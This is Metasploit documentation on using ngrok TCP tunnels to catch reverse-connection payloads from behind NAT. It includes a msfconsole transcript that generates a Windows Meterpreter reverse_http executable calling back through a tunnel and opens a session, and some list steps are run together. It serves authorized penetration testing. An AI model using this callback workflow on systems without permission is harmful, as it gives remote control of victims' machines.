docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md
ngrok is a popular service that offers free port-forwarding that is easy to setup without needing to run a dedicated server on a public IP address (as is the case with SSH, socat and other more traditional options. This means that users behind a SNATing device such as a SOHO router can accept reverse shells and other connections without needing to configure port forwarding.
WARNING: The nature of using ngrok is to send traffic through a third party. ngrok and the server which it utilizes are not affiliated with the Metasploit project. Use of ngrok effectively sends traffic through an untrusted third party and should be done with extreme caution. While Meterpreter has offered end-to-end encryption since Metasploit 6.0, other payloads and connections do not.
ngrok can start multiple types of tunnels. The tcp tunnel is compatible with Metasploit's payloads and most closely
resembles a traditional port-forwarding configuration. The http tunnel type is not compatible with payloads, and
should not be used. The tls tunnel type may be compatible, but access to it is restricted to the Enterprise and
Pay-as-you-go paid plans. This document will focus on the use cases for the tcp tunnel type. Note that one limitation
is that the public port can not be configured, it is randomly selected by ngrok meaning that the target will need to be
able to connect to this high, obscure port which may be prevented by egress filtering.
Use with payloads can be achieved with any of the reverse-connection stagers that accept LHOST and LPORT options,
e.g. reverse_tcp, reverse_http, reverse_https, etc. but not reverse_named_pipe. In the following scenario, ngrok will be
used to forward a random public port to the Metasploit listener on port 4444. This scenario assumes that Metasploit and
ngrok are running on the same host.
NOTE: At this time, payloads handle DNS hostnames inconsistently. Some are compatible with hostnames while others
require IP addresses to be specified as the target to connect to (the LHOST option). To ensure the specified payload
will work, the hostname provided by ngrok should be resolved to an IP address and the IP address should be used as the
value for LHOST.
ngrok tcp localhost:4444.4.tcp.ngrok.io:13779msfconsole for both generating the payload and handling the connection is recommended over using msfvenom
for two reasons.
msfvenom starts up an instance of the framework to generate the payload, making it a slower process.msfconsole to configure both the payload and handler simultaneously ensures that the options are set for
both, eliminating the possibility that they are out of sync.LHOST option to the IP address noted in step 3. This is where the payload is expecting to connect to.LPORT option to the port noted in step 2, 13779 in the example.ReverseListenerBindAddress option to 127.0.0.1. This is where the connection will actually be accepted
from ngrok.ReverseListenerBindPort option to 4444.generate command and start the handler with to_handlerOnce the payload has been executed, either through the exploit or manual means, there should be a open connection seen through the ngrok terminal.
ngrok side:
$ ngrok tcp localhost:4444
ngrok (Ctrl+C to quit)
Take our ngrok in production survey! https://forms.gle/aXiBFWzEA36DudFn6
Session Status online
Account ????? (Plan: Personal)
Version 3.16.0
Region United States (us)
Latency 33ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://4.tcp.ngrok.io:17511 -> localhost:4444
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
resolve the hostname 4.tcp.ngrok.io to an IP address
$ dig +short 4.tcp.ngrok.io
192.0.2.1
metasploit side:
msf > use payload/windows/x64/meterpreter/reverse_http
msf payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
LHOST => 192.0.2.1
msf payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
LPORT => 17511
msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
ReverseListenerBindPort => 4444
msf payload(windows/x64/meterpreter/reverse_http) > to_handler
[*] Payload Handler Started as Job 2
msf payload(windows/x64/meterpreter/reverse_http) >
[*] Started HTTP reverse handler on http://127.0.0.1:4444
msf payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
[*] Writing 7168 bytes to ngrok_payload.exe...
msf payload(windows/x64/meterpreter/reverse_http) >
[*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ...
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400
msf payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: MSFLAB\smcintyre
meterpreter >
Some modules expect connections to be made to them by the target. These modules can also be used with ngrok, with some
slight variations to the payload workflow in regards to their datastore options. Modules that start servers can be
identified by using the SRVHOST and SRVPORT datastore options.
NOTE: Free ngrok plans can only open one tcp tunnel at a time. This means that if the module is an exploit that a tcp tunnel for a reverse-connection payload will not be able to be opened at the same time. Use a second ngrok account to open a second tcp tunnel and follow the steps above for the payload configuration.
ngrok tcp localhost:4444.4.tcp.ngrok.io:13779LHOST option to the IP address noted in step 3. This is where the payload is expecting to connect to.SRVPORT option to the port noted in step 2, 13779 in the example.ListenerBindAddress option to 127.0.0.1. This is where the connection will actually be accepted
from ngrok.ListenerBindPort option to 4444.